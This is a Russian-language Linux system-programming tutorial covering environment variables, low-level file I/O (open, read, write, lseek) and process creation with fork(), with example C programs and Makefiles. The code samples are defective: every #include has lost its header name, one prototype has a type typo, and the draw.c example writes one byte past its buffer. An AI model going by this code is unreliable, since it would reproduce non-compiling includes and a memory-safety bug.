Наконец, вызываем putenv() со строкой, не содержащей символа '=' (равно). Это запрос на удаление переменной из окружения. Функция print_evar() подтверждает это.
Хочу заметить, что putenv() поддерживается не всеми версиями Unix. Если нет крайней необходимости, лучше использовать setenv() для пополнения/модификации окружения.

2. Файл сборки
vim Makefile
------------
# Makefile for putenv

environ: putenv.c
        gcc -o putenv putenv.c

clean:
        rm -f putenv
------------

Удаление переменной окружения: unsetenv()

0. Функция 
vim stdlib.h 
-------------
int unsetenv (const char * name);
-------------

Функция unsetenv() использует в качестве аргумента имя переменной окружения. 
Возвращаемое значение - нуль при удачном завершении и -1 в случае ошибки. 
Рассмотрим простую программу, которая удаляет переменную окружения USER (!!!). 
Каждый процесс работает с собственной копией окружения, никак не связанной с копиями окружения других процессов, 
за исключением дочерних процессов, которых у нас нет. Ниже приведен исходный код программы, 
учитывающий исторические изменения прототипа функции unsetenv()


1. Программа
vim unsetenv.c
--------------
/* unsetenv.c */
#include 
#include 
#include 
#include 

#define OLD_LIBC_VERSION	0
#define NEW_LIBC_VERSION	1
#define E_VAR			"USER"

int libc_cur_version (void)
{
	int ret = strcmp (gnu_get_libc_version (), "2.2.2");
	if (ret < 0) return OLD_LIBC_VERSION;
	return NEW_LIBC_VERSION;
}

int main (void)
{
	int ret;
	char * str;
	if (libc_cur_version () == OLD_LIBC_VERSION)
	{
		unsetenv (E_VAR);
	} else
	{
		ret = unsetenv (E_VAR);
		if (ret != 0)
		{
			fprintf (stderr, "Cannot unset '%s'\n", E_VAR);
			exit (1);
		}
	}

	str = getenv (E_VAR);
	if (str == NULL)
	{
		printf ("'%s' has removed from environment\n", E_VAR);
	} else
	{
		printf ("'%s' hasn't removed\n", E_VAR);
	}	
	exit (0);
}
--------------
В программе показан один из самых варварских способов подстроить код под версию библиотеки. 
Это сделано исключительно для демонстрации двух вариантов unsetenv(). 
Никогда не делайте так в реальных программах. 
Намного проще и дешевле (в плане времени), не получая ничего от unsetenv() проверить факт удаления переменной при помощи getenv().

2. Файл сборки
vim Makefile
------------
# Makefile for putenv

environ:  unsetenv.c
        gcc -o  unsetenv  unsetenv.c

clean:
        rm -f  unsetenv
------------
 

Очистка окружения: clearenv()

Функция clearenv(), объявленная в заголовочном файле stdlib.h, используется крайне редко для полной очистки окружения. 
clearenv() поддерживается не всеми версиями Unix. 

int clearenv (void);

При успешном завершении clearenv() возвращает нуль. 
В случае ошибки возвращается ненулевое значение.

В большинстве случаев вместо clearenv() можно использовать следующую инструкцию:
environ = NULL;


Механизмов ввода-вывода в Linux:

В языке C для осуществления файлового ввода-вывода используются механизмы стандартной библиотеки языка, объявленные в заголовочном файле stdio.h. 
Это не более чем частный случай файлового ввода-вывода. 
В C++ для ввода-вывода чаще всего используются потоковые типы данных. 
Однако все эти механизмы являются всего лишь надстройками над низкоуровневыми механизмами ввода-вывода ядра операционной системы.
С точки зрения модели КИС (Клиент-Интерфейс-Сервер), сервером стандартных механизмов ввода вывода языка C (printf, scanf, FILE*, fprintf, fputc и т. д.) является библиотека языка. 
А сервером низкоуровневого ввода-вывода в Linux, которому посвящена эта глава книги, является само ядро операционной системы.
Пользовательские программы взаимодействуют с ядром операционной системы посредством специальных механизмов, называемых системными вызовами (system calls, syscalls). 
Внешне системные вызовы реализованы в виде обычных функций языка C, однако каждый раз вызывая такую функцию, мы обращаемся непосредственно к ядру операционной системы. 
Рассмотрим основные системные вызовы, осуществляющие ввод-вывод: open(), close(), read(), write(), lseek() и некоторые другие.

Список всех системных вызовов Linux можно найти в файле /usr/include/asm/unistd.h. 

Файловые дескрипторы

В языке C при осуществлении ввода-вывода мы используем указатель FILE*. 
Даже функция printf() в итоге сводится к вызову vfprintf(stdout,...), разновидности функции fprintf(); 
константа stdout имеет тип struct _IO_FILE*, синонимом которого является тип FILE*. 
Консольный ввод-вывод - это файловый ввод-вывод. 
Стандартный поток ввода, стандартный поток вывода и поток ошибок (как в C, так и в C++) - это файлы. 
В Linux все, куда можно что-то записать или откуда можно что-то прочитать представлено (или может быть представлено) в виде файла.
Экран, клавиатура, аппаратные и виртуальные устройства, каналы, сокеты - все это файлы. 
Это очень удобно, поскольку ко всему можно применять одни и те же механизмы ввода-вывода, с которыми мы и познакомимся в этой главе. 
Владение механизмами низкоуровневого ввода-вывода дает свободу перемещения данных в Linux. 
Работа с локальными файловыми системами, межсетевое взаимодействие, работа с аппаратными устройствами, - все это осуществляется в Linux посредством низкоуровневого ввода-вывода.

Вы уже знаете из предыдущей главы, что при запуске программы в системе создается новый процесс (здесь есть свои особенности, о которых пока говорить не будем).
У каждого процесса (кроме init) есть свой родительский процесс (parent process или просто parent), для которого новоиспеченный процесс является дочерним (child process, child). 
Каждый процесс получает копию окружения (environment) родительского процесса. 
Оказывается, кроме окружения дочерний процесс получает в качестве багажа еще и копию таблицы файловых дескрипторов.

Файловый дескриптор (file descriptor) - это целое число (int), соответствующее открытому файлу. 
Дескриптор, соответствующий реально открытому файлу всегда больше или равен нулю. 
Копия таблицы дескрипторов (читай: таблицы открытых файлов внутри процесса) скрыта в ядре. 
Мы не можем получить прямой доступ к этой таблице, как при работе с окружением через environ. 
Можно, конечно, кое-что "вытянуть" через дерево /proc, но нам это не надо. 
Программист должен лишь понимать, что каждый процесс имеет свою копию таблицы дескрипторов. 
В пределах одного процесса все дескрипторы уникальны (даже если они соответствуют одному и тому же файлу или устройству). 
В разных процессах дескрипторы могут совпадать или не совпадать - это не имеет никакого значения, поскольку у каждого процесса свой собственный набор открытых файлов.

Возникает вопрос: сколько файлов может открыть процесс? 
В каждой системе есть свой лимит, зависящий от конфигурации. 

Если вы используете bash или ksh (Korn Shell), то можете воспользоваться внутренней командой оболочки ulimit, чтобы узнать это значение.
$ ulimit -n

Если вы работаете с оболочкой C-shell (csh, tcsh), то в вашем распоряжении команда limit:
$ limit descriptors

В командной оболочке, в которой вы работаете (bash, например), открыты три файла: стандартный ввод (дескриптор 0), стандартный вывод (дескриптор 1) и стандартный поток ошибок (дескриптор 2). 
Когда под оболочкой запускается программа, в системе создается новый процесс, который является для этой оболочки дочерним процессом, следовательно, 
получает копию таблицы дескрипторов своего родителя (то есть все открытые файлы родительского процесса). 
Таким образом программа может осуществлять консольный ввод-вывод через эти дескрипторы. На протяжении всей книги мы будем часто играть с этими дескрипторами.

Таблица дескрипторов, помимо всего прочего, содержит информацию о текущей позиции чтения-записи для каждого дескриптора. 
При открытии файла, позиция чтения-записи устанавливается в ноль. 
Каждый прочитанный или записанный байт увеличивает на единицу указатель текущей позиции.

Открытие файла: системный вызов open()

Чтобы получить возможность прочитать что-то из файла или записать что-то в файл, его нужно открыть. 
Это делает системный вызов open(). 
Этот системный вызов не имеет постоянного списка аргументов (за счет использования механизма va_arg); 
в связи с этим существуют две "разновидности" open(). 
Не только в С++ есть перегрузка функций ;-) 
Если интересно, то о механизме va_arg можно прочитать на man-странице stdarg (man 3 stdarg) или в книге Б. Кернигана и Д. Ритчи "Язык программирования Си". 
Ниже приведены адаптированные прототипы системного вызова open().

int open (const char * filename, int flags, mode_t mode);
int open (const char * filename, int flags);

Системный вызов open() объявлен в заголовочном файле fcntl.h. 
Ниже приведен общий адаптированный прототип open().

int open (const char * filename, int flags, ...);

Первый аргумент - имя файла в файловой системе в обычной форме: 
полный путь к файлу (если файл не находится в текущем каталоге) или сокращенное имя (если файл в текущем каталоге).

Второй аргумент - это режим открытия файла, представляющий собой один или несколько флагов открытия, объединенных оператором побитового ИЛИ. 
Наиболее часто используют только первые семь флагов. 
Если вы хотите, например, открыть файл в режиме чтения и записи, и при этом автоматически создать файл, если такового не существует, то второй аргумент open() будет выглядеть примерно так: O_RDWR|O_CREAT. 
Константы-флаги открытия объявлены в заголовочном файле bits/fcntl.h, однако не стоит включать этот файл в свои программы, поскольку он уже включен в файл fcntl.h.

Третий аргумент используется в том случае, если open() создает новый файл. 
В этом случае файлу нужно задать права доступа (режим), с которыми он появится в файловой системе. 
Права доступа задаются перечислением флагов, объединенных побитовым ИЛИ. 
Вместо флагов можно использовать число (как правило восьмиричное), однако первый способ нагляднее и предпочтительнее. 
Список флагов приведен в Таблице 1 Приложения 2. 
Чтобы, например, созданный файл был доступен в режиме "чтение-запись" пользователем и группой и "только чтение" остальными пользователями, - в третьем аргументе open() надо указать примерно следующее: S_IRUSR|S_IWUSR|S_IRGRP|S_IWGRP|S_IROTH или 0664. 
Флаги режима доступа реально объявлены в заголовочном файле bits/stat.h, но он не предназначен для включения в пользовательские программы, и вместо него мы должны включать файл sys/stat.h. 
Тип mode_t объявлен в заголовочном файле sys/types.h.

Если файл был успешно открыт, open() возвращает файловый дескриптор, по которому мы будем обращаться к файлу. 
Если произошла ошибка, то open() возвращает -1. 

Закрытие файла: системный вызов close()

Системный вызов close() закрывает файл. 
Вообще говоря, по завершении процесса все открытые файлы (кроме файлов с дескрипторами 0, 1 и 2) автоматически закрываются. 
Тем не менее, это не освобождает нас от самостоятельного вызова close(), когда файл нужно закрыть. 
К тому же, если файлы не закрывать самостоятельно, то соответствующие дескрипторы не освобождаются, что может привести к превышению лимита открытых файлов. 
Простой пример: приложение может быть настроено так, чтобы каждую минуту открывать и перечитывать свой файл конфигурации для проверки обновлений. 
Если каждый раз файл не будет закрываться, то в моей системе, например, приложение может "накрыться медным тазом" примерно через 17 часов. 
Автоматически! Кроме того, файловая система Linux поддерживает механизм буферизации. 
Это означает, что данные, которые якобы записываются, реально записываются на носитель (синхронизируются) только через какое-то время, когда система сочтет это правильным и оптимальным. 
Это повышает производительность системы и даже продлевает ресурс жестких дисков. Системный вызов close() не форсирует запись данных на диск, однако дает больше гарантий того, 
что данные останутся в целости и сохранности.

Системный вызов close() объявлен в файле unistd.h. Ниже приведен его адаптированный прототип.
vim  unistd.h
-------------
int close (int fd);
-------------

Очевидно, что единственный аргумент - это файловый дескриптор. 
Возвращаемое значение - ноль в случае успеха, и -1 - в случае ошибки. 
Довольно часто close() вызывают без проверки возвращаемого значения. 
Это не очень грубая ошибка, но, тем не менее, иногда закрытие файла бывает неудачным (в случае неправильного дескриптора, в случае прерывания функции по сигналу или в случае ошибки ввода-вывода, например). 
В любом случае, если программа сообщит пользователю, что файл невозможно закрыть, это хорошо.
Теперь можно написать простую программу, использующую системные вызовы open() и close(). 
Мы еще не умеем читать из файлов и писать в файлы, поэтому напишем программу, которая создает файл с именем, переданным в качестве аргумента (argv[1]) и с правами доступа 0600 (чтение и запись для пользователя). 
Ниже приведен исходный код программы.
vim openclose.c
---------------
/* openclose.c */
#include 	/* open() and O_XXX flags */
#include 	/* S_IXXX flags */
#include 	/* mode_t */
#include 	/* close() */
#include 
#include 

int main (int argc, char ** argv)
{
	int fd;
	mode_t mode = S_IRUSR | S_IWUSR;
	int flags = O_WRONLY | O_CREAT | O_EXCL;
	if (argc < 2)
	{
		fprintf (stderr, "openclose: Too few arguments\n");
		fprintf (stderr, "Usage: openclose \n");
		exit (1);
	}

	fd = open (argv[1], flags, mode);
	if (fd < 0)
	{
		fprintf (stderr, "openclose: Cannot open file '%s'\n",
				argv[1]);
		exit (1);
	}
	
	if (close (fd) != 0)
	{
		fprintf (stderr, "Cannot close file (descriptor=%d)\n", fd);
		exit (1);
	}	
	exit (0);
}
---------------


Обратите внимание, если запустить программу дважды с одним и тем же аргументом, то на второй раз open() выдаст ошибку. 
В этом виноват флаг O_EXCL, который "дает добро" только на создание еще не существующих файлов. 
Наглядности ради, флаги открытия и флаги режима мы занесли в отдельные переменные, однако можно было бы сделать так:

fd = open (argv[1], O_WRONLY | O_CREAT | O_EXCL, S_IRUSR | S_IWUSR);

Или так:

fd = open (argv[1], O_WRONLY | O_CREAT | O_EXCL, 0600);


Создаем Makefile:
vim openclose
-------------
# Makefile for  openclose

environ:   openclose.c
        gcc -o   openclose   openclose.c

clean:
        rm -f   openclose
-------------



Чтение файла: системный вызов read()

Системный вызов read(), объявленный в файле unistd.h, позволяет читать данные из файла. 
В отличие от библиотечных функций файлового ввода-вывода, которые предоставляют возможность интерпретации считываемых данных. 

Можно, например, записать в файл следующее содержимое:
2006

Теперь, используя библиотечные механизмы, можно читать файл по-разному:
fscanf (filep, "%s", buffer);
fscanf (filep, "%d", number);


Системный вызов read() читает данные в "сыром" виде, то есть как последовательность байт, без какой-либо интерпретации. Ниже представлен адаптированный прототип read().
vim unistd.h
------------
ssize_t read (int fd, void * buffer, size_t count);
------------

Первый аргумент - это файловый дескриптор. Здесь больше сказать нечего. 
Второй аргумент - это указатель на область памяти, куда будут помещаться данные. 
Третий аргумент - количество байт, которые функция read() будет пытаться прочитать из файла. 
Возвращаемое значение - количество прочитанных байт, если чтение состоялось и -1, если произошла ошибка. 
Хочу заметить, что если read() возвращает значение меньше count, то это не символизирует об ошибке.

Хочу сказать несколько слов о типах. 
Тип size_t в Linux используется для хранения размеров блоков памяти. 
Какой тип реально скрывается за size_t, зависит от архитектуры; как правило это unsigned long int или unsigned int. 
Тип ssize_t (Signed SIZE Type) - это тот же size_t, только знаковый. 
Используется, например, в тех случаях, когда нужно сообщить об ошибке, вернув отрицательный размер блока памяти. Системный вызов read() именно так и поступает.
Теперь напишем программу, которая просто читает файл и выводит его содержимое на экран. Имя файла будет передаваться в качестве аргумента (argv[1]).

Ниже приведен исходный код этой программы.
vim myread.c
------------
/* myread.c */
#include 
#include 
#include 
#include 
#include 
#include 

int main (int argc, char ** argv)
{
	int fd;
	ssize_t ret;
	char ch;
	if (argc < 2)
	{
		fprintf (stderr, "Too few arguments\n");
		exit (1);
	}

	fd = open (argv[1], O_RDONLY);
	if (fd < 0)
	{
		fprintf (stderr, "Cannot open file\n");
		exit (1);
	}	
	
	while ((ret = read (fd, &ch, 1)) > 0)
	{
		putchar (ch);
	}

	if (ret < 0)
	{
		fprintf (stderr, "myread: Cannot read file\n");
		exit (1);
	}
	close (fd);
	exit (0);
}
------------

В этом примере используется укороченная версия open(), так как файл открывается только для чтения. 
В качестве буфера (второй аргумент read()) мы передаем адрес переменной типа char. 
По этому адресу будут считываться данные из файла (по одному байту за раз) и передаваться на стандартный вывод. 
Цикл чтения файла заканчивается, когда read() возвращает нуль (нечего больше читать) или -1 (ошибка). Системный вызов close() закрывает файл.

Как можно заметить, в нашем примере системный вызов read() вызывается ровно столько раз, сколько байт содержится в файле. 
Иногда это действительно нужно; но не здесь. 
Чтение-запись посимвольным методом (как в нашем примере) значительно замедляет процесс ввода-вывода за счет многократных обращений к системным вызовам. 
По этой же причине возрастает вероятность возникновения ошибки. Если нет действительной необходимости, файлы нужно читать блоками. 
О том, какой размер блока предпочтительнее, будет рассказано в последующих главах книги.
 Ниже приведен исходный код программы, которая делает то же самое, что и предыдущий пример, но с использованием блочного чтения файла. Размер блока установлен в 64 байта.

vim myread1.c
-------------
/* myread1.c */
#include 
#include 
#include 
#include 
#include 
#include 

#define BUFFER_SIZE	64

int main (int argc, char ** argv)
{
	int fd;
	ssize_t read_bytes;
	char buffer[BUFFER_SIZE+1];
	if (argc < 2)
	{
		fprintf (stderr, "Too few arguments\n");
		exit (1);
	}

	fd = open (argv[1], O_RDONLY);
	if (fd < 0)
	{
		fprintf (stderr, "Cannot open file\n");
		exit (1);
	}	
	
	while ((read_bytes = read (fd, buffer, BUFFER_SIZE)) > 0)
	{
		buffer[read_bytes] = 0; /* Null-terminator for C-string */
		fputs (buffer, stdout);
	}

	if (read_bytes < 0)
	{
		fprintf (stderr, "myread: Cannot read file\n");
		exit (1);
	}
	close (fd);
	exit (0);
}
-------------

Теперь можно примерно оценить и сравнить скорость работы двух примеров. 
Для этого надо выбрать в системе достаточно большой файл (бинарник ядра или видеофильм, например) и посмотреть на то, как быстро читаются эти файлы:
$ time ./myread /boot/vmlinuz > /dev/null
$ time ./myread1 /boot/vmlinuz > /dev/null

Запись в файл: системный вызов write()

Для записи данных в файл используется системный вызов write(). 
Ниже представлен его прототип.
vim unistd.h
------------
ssize_t write (int fd, const void * buffer, size_t count);
------------

Как видите, прототип write() отличается от read() только спецификатором const во втором аргументе. 
В принципе write() выполняет процедуру, обратную read(): записывает count байтов из буфера buffer в файл с дескриптором fd, возвращая количество записанных байтов или -1 в случае ошибки. 
Так просто, что можно сразу переходить к примеру. 
За основу возьмем программу myread1 из предыдущего раздела.

vim rw.c
--------
/* rw.c */
#include 
#include 
#include 	/* read(), write(), close() */
#include 	/* open(), O_RDONLY */
#include 	/* S_IRUSR */
#include 	/* mode_t */

#define BUFFER_SIZE	64

int main (int argc, char ** argv)
{
	int fd;
	ssize_t read_bytes;
	ssize_t written_bytes;
	char buffer[BUFFER_SIZE];
	if (argc < 2)
	{
		fprintf (stderr, "Too few arguments\n");
		exit (1);
	}

	fd = open (argv[1], O_RDONLY);
	if (fd < 0)
	{
		fprintf (stderr, "Cannot open file\n");
		exit (1);
	}	
	
	while ((read_bytes = read (fd, buffer, BUFFER_SIZE)) > 0)
	{		
		/* 1 == stdout */
		written_bytes = write (1, buffer, read_bytes);
		if (written_bytes != read_bytes)
		{
			fprintf (stderr, "Cannot write\n");
			exit (1);
		}
	}

	if (read_bytes < 0)
	{
		fprintf (stderr, "myread: Cannot read file\n");
		exit (1);
	}
	close (fd);
	exit (0);
}
--------

В этом примере нам уже не надо изощряться в попытках вставить нуль-терминатор в строку для записи, поскольку системный вызов write() не запишет большее количество байт, чем мы ему указали. 
В данном случае для демонстрации write() мы просто записывали данные в файл с дескриптором 1, то есть в стандартный вывод. Но прежде, 
чем переходить к чтению следующего раздела, попробуйте самостоятельно записать что-нибудь (при помощи write(), естественно) в обычный файл. 
Когда будете открывать файл для записи, обратите пожалуйста внимание на флаги O_TRUNC, O_CREAT и O_APPEND. Подумайте, все ли флаги сочетаются между собой по смыслу.

vim Makefile
------------
# Makefile for  rw.c

environ:   rw
        gcc -o rw rw.c

clean:
        rm -f  rw
-----------

Произвольный доступ: системный вызов lseek()

Как уже говорилось, с каждым открытым файлом связано число, указывающее на текущую позицию чтения-записи. 
При открытии файла позиция равна нулю. Каждый вызов read() или write() увеличивает текущую позицию на значение, равное числу прочитанных или записанных байт. 
Благодаря этому механизму, каждый повторный вызов read() читает следующие данные, и каждый повторный write() записывает данные в продолжение предыдущих, а не затирает старые. 
Такой механизм последовательного доступа очень удобен, однако иногда требуется получить произвольный доступ к содержимому файла, чтобы, например, прочитать или записать файл заново.
Для изменения текущей позиции чтения-записи используется системный вызов lseek(). 
Ниже представлен его прототип.
vim unistd.h
------------
off_t lseek (int fd, ott_t offset, int against);
------------
Первый аргумент, как всегда, - файловый дескриптор. 
Второй аргумент - смещение, как положительное (вперед), так и отрицательное (назад). 
Третий аргумент обычно передается в виде одной из трех констант SEEK_SET, SEEK_CUR и SEEK_END, которые показывают, от какого места отсчитывается смещение. 
SEEK_SET - означает начало файла, 
SEEK_CUR - текущая позиция, 
SEEK_END - конец файла. 

Рассмотрим следующие вызовы:
lseek (fd, 0, SEEK_SET);
lseek (fd, 20, SEEK_CUR);
lseek (fd, -10, SEEK_END);

Первый вызов устанавливает текущую позицию в начало файла. 
Второй вызов смещает позицию вперед на 20 байт. 
В третьем случае текущая позиция перемещается на 10 байт назад относительно конца файла.

В случае удачного завершения, lseek() возвращает значение установленной "новой" позиции относительно начала файла. 
В случае ошибки возвращается -1.

Я долго думал, какой бы пример придумать, чтобы продемонстрировать работу lseek() наглядным образом. 
Наиболее подходящим примером мне показалась идея создания программы рисования символами. 
Программа оказалась не слишком простой, однако если вы сможете разобраться в ней, то можете считать, что успешно овладели азами низкоуровневого ввода-вывода Linux. 
Ниже представлен исходный код этой программы.

vim draw.c
----------
/* draw.c */
#include 
#include 
#include 
#include 
#include 
#include 
#include 	/* memset() */

#define N_ROWS	15	/* Image height */
#define N_COLS	40	/* Image width */
#define FG_CHAR	'O'	/* Foreground character */
#define IMG_FN	"image"	/* Image filename */

#define N_MIN(A,B) ((A)<(B)?(A):(B))
#define N_MAX(A,B) ((A)>(B)?(A):(B))

static char buffer[N_COLS];

void init_draw (int fd)
{	
	ssize_t bytes_written = 0;
	memset (buffer, ' ', N_COLS);
	buffer [N_COLS] = '\n';
	while (bytes_written < (N_ROWS * (N_COLS+1)))
		bytes_written += write (fd, buffer, N_COLS+1);
}

void draw_point (int fd, int x, int y)
{
	char ch = FG_CHAR;
	lseek (fd, y * (N_COLS+1) + x, SEEK_SET);
	write (fd, &ch, 1);
}

void draw_hline (int fd, int y, int x1, int x2)
{	
	size_t bytes_write = abs (x2-x1) + 1;
	memset (buffer, FG_CHAR, bytes_write);
	lseek (fd, y * (N_COLS+1) + N_MIN (x1, x2), SEEK_SET);
	write (fd, buffer, bytes_write);
}

void draw_vline (int fd, int x, int y1, int y2)
{
	int i = N_MIN(y1, y2);
	while (i <= N_MAX(y2, y1)) draw_point (fd, x, i++);
}

int main (void)
{
	int a, b, c, i = 0;
	char ch;
	int fd = open (IMG_FN, O_WRONLY | O_CREAT | O_TRUNC, 0644);
	if (fd < 0) {
		fprintf (stderr, "Cannot open file\n");
		exit (1);
	}

	init_draw (fd);
	char * icode[] = { "v 1 1 11", "v 11 7 11", "v 14 5 11", 
	"v 18 6 11", "v 21 5 10", "v 25 5 10", "v 29 5 6", "v 33 5 6", 
	"v 29 10 11", "v 33 10 11", "h 11 1 8", "h 5 16 17", 
	"h 11 22 24", "p 11 5 0", "p 15 6 0", "p 26 11 0", "p 30 7 0", 
	"p 32 7 0", "p 31 8 0", "p 30 9 0", "p 32 9 0", NULL };	

	while (icode[i] != NULL) {
	sscanf (icode[i], "%c %d %d %d", &ch, &a, &b, &c);
		switch (ch) {
			case 'v': draw_vline (fd, a, b, c); break;
			case 'h': draw_hline (fd, a, b, c); break;
			case 'p': draw_point (fd, a, b); break;
			default: abort();	
		}
		i++;
	}
	close (fd);
	exit (0);
}
----------

Теперь разберемся, как работает эта программа. 
Изначально "полотно" заполняется пробелами. 
Функция init_draw() построчно записывает в файл пробелы, чтобы получился "холст", размером N_ROWS на N_COLS. 
Массив строк icode в функции main() - это набор команд рисования. 
Команда начинается с одной из трех литер: 'v' - нарисовать вертикальную линию, 'h' - нарисовать горизонтальную линию, 'p' - нарисовать точку. 
После каждой такой литеры следуют три числа. 
В случае вертикальной линии первое число - фиксированная координата X, а два других числа - это начальная и конечная координаты Y. 
В случае горизонтальной линии фиксируется координата Y (первое число). 
Два остальных числа - начальная координата X и конечная координата X. 
При рисовании точки используются только два первых числа: координата X и координата Y. 
Итак, функция draw_vline() рисует вертикальную линию, функция draw_hline() рисует горизонтальную линию, а draw_point() рисует точку.

Функция init_draw() пишет в файл N_ROWS строк, каждая из которых содержит N_COLS пробелов, заканчивающихся переводом строки. 
Это процедура подготовки "холста".

Функция draw_point() вычисляет позицию (исходя из значений координат), перемещает туда текущую позицию ввода-вывода файла, и записывает в эту позицию символ (FG_CHAR), которым мы рисуем "картину".

Функция draw_hline() заполняет часть строки символами FG_CHAR. Так получается горизонтальная линия. 
Функция draw_vline() работает иначе. Чтобы записать вертикальную линию, нужно записывать по одному символу и каждый раз "перескакивать" на следующую строку. 
Эта функция работает медленнее, чем draw_hline(), но иначе мы не можем.

Полученное изображение записывается в файл image. 
Будьте внимательны: чтобы разгрузить исходный код, из программы исключены многие проверки (read(), write(), close(), диапазон координат и проч.). 
Попробуйте включить эти проверки самостоятельно.


Основы многозадачности в Linux

На экран будут выведен список всех работающих в системе процессов:
ps -e
ps -e --no-headers | nl | tail -n 1
ps -e --forest

Первое число - это количество работающих в системе процессов. 
Пользователи KDE могут воспользоваться программой kpm(на самом деле есть еще "System Monitor/plusma-system-monitor"), 
а пользователи Gnome - программой gnome-system-monitor для получения информации о процессах. 
На то он и Linux, чтобы позволять пользователю делать одно и то же разными способами.

Возникает вопрос: "Что такое процесс?". 
Процессы в Linux, как и файлы, являются аксиоматическими понятиями. 
Иногда процесс отождествляют с запущенной программой, однако это не всегда так. 
Будем считать, что процесс - это рабочая единица системы, которая выполняет что-то. 
Многозадачность - это возможность одновременного сосуществования нескольких процессов в одной системе.

Linux - многозадачная операционная система. 
Это означает что процессы в ней работают одновременно. 
Естественно, это условная формулировка. 
Ядро Linux постоянно переключает процессы, то есть время от времени дает каждому из них сколько-нибудь процессорного времени. 
Переключение происходит довольно быстро, поэтому нам кажется, что процессы работают одновременно.

Одни процессы могут порождать другие процессы, образовывая древовидную структуру. 
Порождающие процессы называются родителями или родительскими процессами, а порожденные - потомками или дочерними процессами. 
На вершине этого "дерева" находится процесс init, который порождается автоматически ядром в процесссе загрузки системы.

К каждому процессу в системе привязана пара целых неотрицательных чисел: идентификатор процесса PID (Process IDentifier) и идентификатор родительского процесса PPID (Parent Process IDentifier). 
Для каждого процесса PID является уникальным (в конкретный момент времени), а PPID равен идентификатору процесса-родителя. 
Если ввести в оболочку команду ps -ef, то на экран будет выведен список процессов со значениями их PID и PPID (вторая и третья колонки соотв.).

Надо отметить, что процесс init (в современных дистрибутивах на 2022 год это будет скорее всего systemd) всегда имеет идентификатор 1 и PPID равный 0. 
Хотя в реальности процесса с идентификатором 0 не существует. 
Дерево процессов можно также приставить в наглядном виде при помощи опции --forest программы ps.
Если вызвать программу ps без аргументов, то будет выведен список процессов, принадлежащих текущей группе, то есть работающих под текущим терминалом. 
О том, что такое терминалы и группы процессов, будет рассказано в последующих главах.

Использование getpid() и getppid()

Процесс может узнать свой идентификатор (PID), а также родительский идентификатор (PPID) при помощи системных вызовов getpid() и getppid().

Системные вызовы getpid() и getppid() имеют следующие прототипы:
pid_t getpid (void);
pid_t getppid (void);

Для использования getpid() и getppid() в программу должны быть включены директивой #include заголовочные файлы unistd.h и sys/types.h (для типа pid_t). 
Вызов getpid() возвращает идентификатор текущего процесса (PID), а getppid() возвращает идентификатор родителя (PPID). 
pid_t - это целый тип, размерность которого зависит от конкретной системы. Значениями этого типа можно оперировать как обычными целыми числами типа int.


Рассмотрим теперь простую программу, которая выводит на экран PID и PPID, а затем "замирает" до тех пор, пока пользователь не нажмет .
vim getpid.c 
------------
/* getpid.c */

#include 
#include 
#include 

int main (void)
{
        pid_t pid, ppid;

        pid = getpid ();
        ppid = getppid ();

        printf ("PID: %d\n", pid);
        printf ("PPID: %d\n", ppid);

        fprintf (stderr, "Press  to exit...");
        getchar ();
        return 0;
}
------------

Проверим теперь, как работает эта программа. 
Для этого откомпилируем и запустим ее:
$ gcc -o getpid getpid.c
$ ./getpid
PID: 27784
PPID: 6814
Press  to exit...

Теперь, не нажимая , откроем другое терминальное окно и проверим, правильность работы системных вызовов getpid() и getppid():


$ ps -ef | grep getpid
nn       27784  6814  0 01:05 pts/0    00:00:00 ./getpid
nn       28249 28212  0 01:07 pts/1    00:00:00 grep getpid



Порождение процесса

Как уже говорилось ранее, процесс в Linux - это нечто, выполняющее программный код. 
Этот код называют образом процесса (process image). 
Рассмотрим простой пример, когда вы находитесь в оболочке bash и выполняете команду ls. 
В этом случае происходит следующее. 
Образ программы-оболочки bash выполняется в процессе #1. 
Затем вы вводите команду ls, и оболочка определяет, что нужно запустить внешнюю программу (/bin/ls). 
Тогда процесс #1 создает свою почти точную копию, процесс #2, который выполняет тот же самый программный код.
 После этого процесс #2 заменяет свой текущий образ (оболочку) другим образом (программой /bin/ls). 
В итоге получаем отдельный процесс, выполняющий отдельную программу.

"К чему такая путаница?" - спросите вы. 
Зачем сначала "клонировать" процесс, а затем заменять в нем образ? 
Не проще ли все делать одной-единственной операцией? 
Ответы на подобные вопросы дать тяжело, но, как правило, с опытом приходит понимание того, что подобная схема является одной из граней красоты Unix-систем.

Попробуем все-таки разобраться, почему в Unix-системах порождение процесса отделено от запуска программы. 
Для этого выясним, что же происходит с данными при "клонировании" процесса. 
Итак, каждый процесс хранит в своей памяти различные данные (переменные, файловые дескрипторы и проч.). 
При порождении нового процесса, потомок получает точную копию данных родителя. 
Но как только новый процесс создан, родитель и потомок уже распоряжаются своими копиями по своему усмотрению. 
Это позволяет распараллелить программу, заставив ее выполнять какой-нибудь трудоемкий алгоритм в отдельном процессе.

Может быть кто-то из вас слышал про то, что в Linux есть потоки, которые позволяют в одной программе реализовывать параллельное выполнение нескольких функций. 
Опять же возникает вопрос: "Если есть потоки, зачем вся эта головомойка с клонированиями и заменой образов?". 
А дело в том, что потоки работают с общими данными и выполняются в одной программе. 
Если в потоке произошло что-то страшное, то это, как правило, отражается на всей программе в целом. 
Хотя технически потоки реализованы в Linux на базе процессов, но процесс все же является более независимой единицей. 
Крах дочернего процесса никак не отражается на работе родителя, если сам родитель этого не пожелает.

По правде сказать, программисты редко прибегают к методике распараллеливания одной программы при помощи процессов. 
Но суть в том, что в Unix-системах программист обладает полной свободой выбора стратегии многозадачности. 
И это здорово!

Разберемся теперь с тем, как на практике происходит "клонирование" процессов. Для этого используется простой системный вызов fork(), прототип которого находится в файле unistd.h:
pid_t fork (void);

Если fork() завершается с ошибкой, то возвращается -1. 
Это редкий случай, связанный с нехваткой памяти или превышением лимита на количество процессов. 
Но если разделение произошло, то программе нужно позаботиться об идентификации своего "Я", то есть определении того, где родитель, а где потомок. 
Это делается очень просто: в родительский процесс fork() возвращает идентификатор потомка, а потомок получает 0. Следующий пример демонстрирует то, как это происходит.

vim fork01.c
------------
/* fork01.c */
#include 
#include 
#include 

int main (void)
{
        pid_t pid = fork ();

        if (pid == 0) {
                printf ("child (pid=%d)\n", getpid());
        } else {
                printf ("parent (pid=%d, child's pid=%d)\n", getpid(), pid);
        }

        return 0;
}
------------

Проверяем, что получилось:
$ gcc -o fork01 fork01.c
$ ./fork01
child (pid=21026)
parent (pid=21025, child's pid=21026)

Обратите внимание, что поскольку после вызова fork() программу выполняли уже два независимых процесса, 
то сообщение родителя вполне могло бы появиться первым.

Замена образа процесса

Итак, теперь мы умеем порождать процессы. 
Научимся теперь заменять образ текущего процесса другой программой. 
